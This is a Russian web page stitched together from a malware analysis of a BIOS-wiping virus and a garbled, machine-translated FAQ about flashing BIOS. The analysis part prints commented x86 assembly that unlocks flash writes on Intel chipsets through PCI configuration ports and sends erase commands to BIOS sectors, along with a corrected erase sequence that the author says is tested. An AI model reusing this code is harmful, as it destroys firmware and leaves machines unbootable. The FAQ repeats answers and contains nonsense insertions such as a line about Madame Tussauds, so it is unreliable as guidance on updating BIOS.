Flash bios что это

Содержание

Flash bios что это

Установка (или «перепрошивка») новый BIOS опаснее, чем обновление простой программы Windows, и если что-то пойдет не так во время процесса, вы можете в конечном итоге заблокировать свой компьютер. … Поскольку обновления BIOS обычно не вводят новых функций или значительного увеличения скорости, вы, вероятно, в любом случае не увидите огромных преимуществ.

Flash bios что это

Вообще данные для устройства на шине PCI пишутся и читаются через порт 0CFCh, который является 32 битным портом. Поэтому инструкция out dx, eax , развернется в четыре команды:

; out dx ,al ;dx=0CFCh
; out dx+1,ah ;dx=0CFDh
; out dx+2, младший байт старшего слова ;dx=0CFEh (!)
; out dx+3, старший байт старшего слова ;dx=0CFFh

Для возможности записи в флэш необходимо будет изменить значение только одного байта, который будет считан и записан в порт 0СFEh. Поэтому, для уменьшения собственного размера, вирус работает только с этим портом, читая один байт вместо двойного слова. Значение регистра edi разберем позднее.

Cli ; запрещает прерывания
call esi ; call IOForEEPROM

я включу код процедуры IOForEEPROM прямо здесь на наглядности:

(IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi ; eax=8000384ch, edi=? , данные
xchg edx, ebp ; edx=0cf8h,ebp=0cfeh; , регистр
out dx, eax ; записываем
xchg eax, edi ; edi=8000384ch , eax=?
xchg edx, ebp ; edx=0cfeh; ,регистр
in al, dx ; получаем тек. значение
BooleanCalculateCode = $ ;
or al, 44h ; устанавливем ROM enable, eax=value1=800038**h or 44h
xchg eax, edi ; eax=8000384ch, edi=value1, данные
xchg edx, ebp ; edx=0cf8h, ebp==0cfch; , регистр
out dx, eax ; записываем
xchg eax, edi ; eax=value1 ,edi=8000384ch , данные
xchg edx, ebp ; edx=0cfch, ebp=0cf8h , регистр
out dx, al ; записываем

Итак, что делает данная процедура? Во-первых, edi=8000384Сh, есть ни что иное

как индекс регистра устройства на шине PCI (в данном случае это какой-нибудь PCI bridge чипсета материнской платы) На wasm.ru есть статья Dark_Mastera “Определение конфигурации компьютера”, где подробно показано, как формируется индекс PCI устройства. Здесь же могу сказать что

8000384ch=10000000000000000011100001001100b получаем номер регистра устройства=4Сh, номер самого устройства= 7, номер функции =0 (основная), шина=0. Вирус записал в порт 0CF8h, 8000384Сh считал из порта 0CFEh текущий статус разрешения доступа к флэш. Далее установил значение в «enable» (al, 44h) и перепрограммировал чипсет. Пока добавлю, что данный метод открытия доступа к флэш характерен для чипсетов 430VX, HX,TX и некоторых других фирмы Intel. Более подробно мы разберем методы программирования различных чипсетов во второй части статьи.

; Прочитать страницу BIOS
; 000F0000 — 000FFFFF
mov di, 0058h ; edi=80000058h
dec edx ; edx=0cfdh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
;@10= and al,0fh 0f24-
;опкод команды and al,0fh
call esi ; call IOForEEPROM

Здесь, похоже, вирус исполняет код, разрешающий доступ к флэш для других чипов. (Для каких именно не могу сказать, нигде не нашел регистр 58h, девайса 0).

Кроме того, вирус изменяет код процедуры IOForEEPROM, вставляя в нее команду and al,0fh вместо or al, 44h. Видоизмененный код IOForEEPROM преведен внизу:

(IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi ; eax=80000058h, edi=value1, данные
xchg edx, ebp ; edx=0cf8h,ebp=0cfbh ; регистр
out dx, eax ; записываем out 0cfbh,80000058h
xchg eax, edi ; edi=80000058h,eax=value1 ; данные
xchg edx, ebp ; edx=0cfbh;ebp=0cf8h , регистр
in al, dx ; получаем тек. значение
(BooleanCalculateCode :
and al, 0fh ; измененная команда
xchg eax, edi ; eax=80000058h, edi=value2 , данные
xchg edx, ebp ; edx=0cf8h, ebp=0cfbh; , регистр
out dx , eax ; записываем
xchg eax, edi ; eax=value2, edi=80000058h, данные
xchg edx, ebp ; edx=0cfbh, ebp=0cf8h , регистр
out dx, al ; записываем
; Прочитать дополнительные данные BIOS
; 000E0000 — 000E01FF
; и секция дополнительного BIOS (Extra BIOS)
; может быть записана.
lea ebx, EnableEEPROMToWrite-@10[esi] ; получаем адрес процедуры
; EnableEEPROMToWrite
mov eax, 0e5555h ; команда для Flash
mov ecx, 0e2aaah ; команда для Flash
call ebx ; call EnableEEPROMToWrite

Вот и самое главное: после установки разрешения доступа к флэш, режим записи (в данном случае команда очистки сектора флэш) происходит следующим образом:

(я снова вставил код вызываемой процедуры для наглядности)

(EnableEEPROMToWrite:
mov [eax], cl ; mov[0E5555h], 0AAh
mov [ecx], al ; mov[0E2aaah], 55h
mov byte ptr [eax], 80h ; mov[0E5555h], 80h
; команда Erase sector
mov [eax], cl ; mov[0E5555h], 0AAh
mov [ecx], al ; mov[0E2aaah], 55h
mov byte ptr [eax], 60h ; mov[0E5555h], 60h
; команда Confirm erase (30h,50h )

Последовательность этих шести команд в адресное пространство сектора флэш (сектор начинается с 0E0000h) приводит к заполнению сектора нулями. mov[0E5555h], 0AAh и

mov[0E2AAAh], 55h – идентификатор команды, mov[0E5555h], 80h – собственно команда “erase setup”. (В данном случае считается, что установлена секторная флэш микросхема). Аналогичны последующие 3 команды подтверждающие очистку флэш. Причем команда mov[0E5555h], 60h (60h) мне не встречалась в технической документации, а если вместо 60h поставить 30h или 50h то флэши наподобие Intel 28F010/12V’ и многие другие будут стерты. Здесь и возникает сомнительный момент. Вирус атакует сектор, начало которого расположено по адресу 0Е0000h. Но, как я уже говорил, флэш картируется (отображается) на верхние адреса 4Gb пространства). Поэтому правильно код должен выглядеть так:

; mov byte ptr [0FFFE5555h] ,0AAh
; mov byte ptr [0FFFE2AAAh] , 55h
; mov byte ptr [0FFFE5555h] , 80h ; команда Erase sector
; mov byte ptr [0FFFE5555h] ,0AAh
; mov byte ptr [0FFFE2AAAh] , 55h
; mov byte ptr [0FFFE5555h] , 50h ; команда Confirm Erase

Работоспособность этого кода проверена. Однако, из-за недостатка информации, можно предположить, что флэш-память картируется и на верхние адреса первого мегабайта. В принципе, это было бы логично, поскольку, начиная работу в реальном режиме и при стандартно установленных базах и лимитах сегментых регистров, процессор не может получить доступ к памяти выше одного мегабайта. Проверить Михаила Гука нет возможности, а проверить картирование флэш памяти на верхние адреса первого мегабайта можно, чем мы и займемся во второй части статьи.

Прошиваем материнку без процессора с Bios Flash USB или как решить проблему зависания при прошивке!

push ecx ; push 0e2aaah
; ожидаем окончания
; переходных процессов
; Прибить дополнительные данные BIOS (BIOS Extra ROM Data)
; 000E0000 — 000E007F

Flash bios что это

xor ah, ah ; ah=0
mov [eax], al ; mov mov[0e0055h],55h ; вот собственно и запись

Здесь вирус еще и пишет в стертый сектор, для надежности, пожалуй. По большому счету эта команда лишняя.

xchg ecx, eax ; снова тормозим
; Показать и включить основные данные BIOS
; 000E0000 — 000FFFFF, (128 KB), может быть записана.
mov eax, 0f5555h ; адрес
pop ecx ; ecx=0E2AAAh
mov ch, 0aah ; ecx=0EAAAAh
call ebx ; call EnableEEPROMToWrite
(EnableEEPROMToWrite:
mov [eax], cl ; mov[0F5555h] ,0AAh
mov [ecx], al ; mov[0EAAAAh], 55h
; тут по-видимому ошибка в коде
; должно быть 0FAAAAh
mov byte ptr [eax], 80h ; mov[0F5555h], 80h
; erase sector
mov [eax], cl ; mov[0E5555h], 0aah
mov [ecx], al ; mov[0EAAAAh], 55h
; тут по-видимому ошибка в коде
;должно быть 0FAAAAh
mov byte ptr [eax], 60h ; mov[0E5555h], 60h
; (30h или 50h надо бы) confirm erase

Здесь делается попытка записать сектор 0F000h, но либо в коде допущена ошибка, либо изменили исходник. В любом случае вирус уже сделал свое дело — сектор 0E0000h уже пустой…

push ecx ; push 0EAAAAh
loop $ ; ожидаем окончания
; переходных процессов
mov byte ptr [eax], 20h ; mov[0e5555h],20h
; подтверждаем очистку

Вирус посылает команду 20h, подтверждающую очистку сектора характерную для некоторых модулей флэш

loop $ ; ожидаем окончания
; переходных процессов
; Прибить данные об основном BIOS
; 000FE000 — 000FE07F, (80h Bytes)
mov ah, 0e0h ; eax=0EE055h
mov [eax], al ; mov [0EE055h], 55h
; и еще пишем для надежности

Еще пишет для надежности, но в свете предыдущего кода эта попытка неудачна.

; Спрятать страницу BIOS
; 000F0000 — 000FFFFF,(64 KB)

дальше уже неинтересно. Все что надо, вирус уже сделал.

Теперь финальный комментарий. Итак, с учетом поправок, вирус уничтожает данные флэш. Естественно, данный алгоритм работает только на уже старых чипсетах фирмы Intel (430VX,HX,TX,440 LX,BX и подобные (хотя, я думаю, что на некоторых чипсетах серии 8** этот фокус тоже пройдет)) и для некоторых моделей микросхем флэш-памяти (далеко не всех, конечно). В те времена это была наиболее распространенная системная логика, большинство компьютеров собиралось именно на этих платформах, потому и жертв было много. Однако счастливые обладатели чипсетов от фирм VIA и SiS (были еще страшно глючные чипы некоей конторы Opti) тоже на самом деле таковыми не были: далее вирус старательно затирал первые 1000 секторов несущего жесткого диска… .

Обновление BIOS с помощью USB BIOS Flashback, How to USB BIOS Flashback

продожение следует…

пишите levagil@inbox.ru © LevaGil

Можете ли вы BIOS Flashback с установленным процессором?

Великолепный. Да, некоторые BIOS не будут мигать без установленного ЦП, потому что они не могут выполнять флэш-память без процессора. Кроме того, если ваш процессор вызовет проблему совместимости с новым BIOS, он, скорее всего, прервет флэш-память вместо ее выполнения, что приведет к проблемам несовместимости.

Можете ли вы выполнить q-flash с установленным процессором?

Q-Flash Plus позволяет вам прошивать работающие BIO, даже если ваш компьютер не загружается. Для установки даже не требуется ЦП или ОЗУ.!

Может ли q-flash без ЦП?

GIGABYTE Q-Flash Plus позволяет пользователям: обновить BIOS до последней версии с помощью флэш-накопителя без необходимости установки ЦП или памяти. … Это больше не проблема с новой функцией Q-Flash Plus.

Что делает кнопка Q-flash?

Q-Flash — это утилита для прошивки BIOS, встроенная в Flash ROM. С помощью Q-Flash вы можете обновить системную BIOS без необходимости предварительного входа в операционные системы, такие как MS-DOS или Windows. … С помощью этой утилиты вы можете получить доступ к Q-Flash, нажав во время POST или нажав в меню настройки BIOS.

Должен ли я удалить ЦП, чтобы перепрограммировать BIOS?

Да, некоторые BIOS не будут мигать без установленного процессора потому что они не могут обрабатывать флэш-память без процессора. Кроме того, если ваш процессор вызовет проблему совместимости с новым BIOS, он, скорее всего, прервет флэш-память вместо ее выполнения, что приведет к проблемам несовместимости.

БИОС обновлять плохо?

Установка (или «перепрошивка») новый BIOS опаснее, чем обновление простой программы Windows, и если что-то пойдет не так во время процесса, вы можете в конечном итоге заблокировать свой компьютер. … Поскольку обновления BIOS обычно не вводят новых функций или значительного увеличения скорости, вы, вероятно, в любом случае не увидите огромных преимуществ.

Может ли обновление BIOS вызвать проблемы?

Обновления BIOS не сделают ваш компьютер быстрее, они, как правило, не добавляют новых функций, которые вам нужны, и могут даже вызвать дополнительные проблемы. Обновлять BIOS следует только в том случае, если новая версия содержит необходимые улучшения..

Как правильно обновить BIOS, подробная инструкция с советами.

Можете ли вы запустить ПК без кулера процессора?

НО… чтобы ответить на ваш вопрос, да вы можете включить мобо без кулера процессора в теме. ОДНАКО . он будет гореть всего несколько секунд, прежде чем автоматически отключится из-за слишком сильного нагрева.

Могу ли я зайти в BIOS без процессора?

В целом без процессора ты ничего не сможешь сделать и память. Однако наши материнские платы позволяют обновлять / прошивать BIOS даже без процессора, с помощью ASUS USB BIOS Flashback.

Стоит ли включать обратную прошивку BIOS?

Перезагрузка BIOS помогает обновиться до новой или старой версии UEFI BIOS материнской платы даже без установленного ЦП или DRAM. Он используется вместе с USB-накопителем и USB-портом flashback на задней панели ввода-вывода.

Что происходит при перепрошивке BIOS?

Прошивка BIOS просто означает обновить его, поэтому вы не хотите этого делать, если у вас уже установлена ​​самая последняя версия BIOS. … Откроется окно с информацией о системе, в котором вы увидите номер версии / даты BIOS в сводке о системе.

Что произойдет, если вы не перепрограммируете BIOS?

Обновления BIOS не сделают ваш компьютер быстрее, они обычно не добавляют новые функции, которые вам нужны, и могут даже вызвать дополнительные проблемы. Обновлять BIOS следует только в том случае, если новая версия содержит необходимые улучшения.

В чем преимущество использования Flash BIOS?

Перепрограммирование BIOS может исправить обнаруженные ошибки или совместимость. повысить стабильность системы. В некоторых случаях перепрошивка BIOS даже дает прирост производительности.

Как мне вернуть мой BIOS во Flash?

Нажмите кнопку BIOS FlashBack ™ в течение трех секунд, пока светодиод FlashBack мигнет три раза, указывая на то, что функция BIOS FlashBack ™ включена. * Размер файла BIOS влияет на время обновления. Это можно сделать за 8 минут.

Как исправить поврежденный BIOS?

Вы можете сделать это одним из трех способов:

  1. Загрузитесь в BIOS и сбросьте его до заводских настроек. Если вы можете загрузиться в BIOS, сделайте это. …
  2. Снимите батарею CMOS с материнской платы. Отключите компьютер и откройте корпус компьютера, чтобы получить доступ к материнской плате. …
  3. Сбросьте перемычку.

Могу ли я перепрограммировать BIOS со всем установленным?

Вход в музей Мадам Тюссо лучше всего прошивать BIOS с установленным ИБП для обеспечения резервного питания вашей системы. Прерывание питания или сбой во время флэш-памяти приведет к сбою обновления, и вы не сможете загрузить компьютер. … Производители материнских плат повсеместно не рекомендуют перепрограммировать BIOS изнутри Windows.

Должен ли я удалить ЦП, чтобы перепрограммировать BIOS?

Да, некоторые BIOS не будут мигать без установленного процессора потому что они не могут обрабатывать флэш-память без процессора. Кроме того, если ваш процессор вызовет проблему совместимости с новым BIOS, он, скорее всего, прервет флэш-память вместо ее выполнения, что приведет к проблемам несовместимости.

При обновлении BIOS стираются настройки?

Да, он вернет все к значениям по умолчанию при обновлении BIOS / UEFI. Большинство современных UEFI позволяют сохранять настройки в профиле, но в большинстве случаев сохраненный профиль не будет работать в обновленном UEFI.

БИОС обновлять плохо?

Установка (или «перепрошивка») новый BIOS опаснее, чем обновление простой программы Windows, и если что-то пойдет не так во время процесса, вы можете в конечном итоге заблокировать свой компьютер. … Поскольку обновления BIOS обычно не вводят новых функций или значительного увеличения скорости, вы, вероятно, в любом случае не увидите огромных преимуществ.

Как узнать, нуждается ли мой BIOS в обновлении?

Некоторые будут проверять, доступно ли обновление, другие просто показать вам текущую версию прошивки вашего текущего BIOS. В этом случае вы можете перейти на страницу загрузок и поддержки для вашей модели материнской платы и посмотреть, доступен ли файл обновления прошивки, более новый, чем ваш установленный в данный момент.

Что произойдет, если вы установите неправильный BIOS?

Компания Обновление BIOS не должно запускаться если используется неправильная версия. Вы также можете войти в экран BIOS с помощью F5 или какой-либо клавиши при запуске, чтобы проверить версию BIOS. В крайнем случае вы сможете запустить восстановление BIOS, чтобы вернуться к старой версии.

Похожие статьи

  • Flash bios это

    Вход в музей Мадам Тюссо лучше всего прошивать BIOS с установленным ИБП для обеспечения резервного питания вашей системы. Прерывание питания или сбой во…

  • Flash bios button

    Но можно и загрузиться с биоса, который на флешке (при этом не трогая тот что установлен): Flash BIOS Button — что это? (MSI) Привет друзья Короткий…

  • Hp pavilion 15 bios

    В открывшемся меню необходимо выбрать строку Legacy Support, видим в столбце напротив значение Disabled, его следует изменить. Бытовые ноутбуки HP -…

Оставить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Что будем искать? Например,Человек

Мы в социальных сетях